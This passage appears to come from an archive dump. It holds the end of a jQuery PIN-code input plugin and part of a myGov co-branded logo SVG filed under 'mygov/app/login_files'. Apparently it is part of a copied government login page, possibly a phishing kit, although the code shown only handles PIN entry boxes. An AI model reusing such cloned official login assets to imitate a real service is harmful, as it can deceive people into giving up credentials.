								            e.preventDefault();     // Prevent character input
								            e.stopPropagation();  
								            
								    }
								
							}

						 this.settings.keydown(e);
		            },this));
	        		
//	        		input.on('blur', $.proxy(function(e) {
//	        			if(!this._isTouchDevice()) {
//		        			if (e != null && $(e).val()) {
//		        				console.log("not null" + $(e).val());
//		        				$("#tstspan").text($(e).val());
//		        				pinCreation.validate($(this));
//		        			}
//	        			}
//	        		};
	        		

	        		input.on('keyup', $.proxy(function(e){
			        	// after every keystroke we check if all inputs have a value, if yes we call complete callback
	        			if(!this._isTouchDevice()){
		        			// on backspace or delete go to previous input box
		        			if(e.keyCode  == 8 || e.keyCode  == 46){
		        				// goto previous
		        				$(e.currentTarget).prev().select();
		    					$(e.currentTarget).prev().focus();
		        			}else{
		        				if($(e.currentTarget).val()!=""){
		            				$(e.currentTarget).next().select();
		        					$(e.currentTarget).next().focus();
		        				}
		        			}
	        			}
	        			
						// update original input box
	        			this.updateOriginalInput();

	        			// oncomplete check
	        			if(this.check()){
	        				this.settings.complete($(this.element).val(), e, this._error);
	        			}
	        			
	        			//onchange event for each input
	        			if(this.settings.change){
	        				this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber);
	        			}
	
	        			
	        			// prevent more input for touch device (we can't limit it)
						if(this._isTouchDevice()){
							if(e.keyCode  == 8 || e.keyCode  == 46){
								// do nothing on backspace and delete								
							}else{
								if($(this.element).val().length == this.settings.inputs){
								    $(e.currentTarget).blur();
									//$(e.currentTarget).focus();
								}
							}
							if($(this.element).val().length > 0){
                                //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, ''));
                                var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, '');
                                $('.pincode-input-text',this._container).each(function( index, value ) {
                                    $(value).val(newLineCheck);
                                });
                                this.updateOriginalInput();
                            }
						}
	        			
			        },this));
				}


		});

		// A really lightweight plugin wrapper around the constructor,
		// preventing against multiple instantiations
		$.fn[ pluginName ] = function ( options ) {
				return this.each(function() {
						if ( !$.data( this, "plugin_" + pluginName ) ) {
								$.data( this, "plugin_" + pluginName, new Plugin( this, options ) );
						}
				});
		};

})( jQuery, window, document );



mygov/app/login_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016565 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" 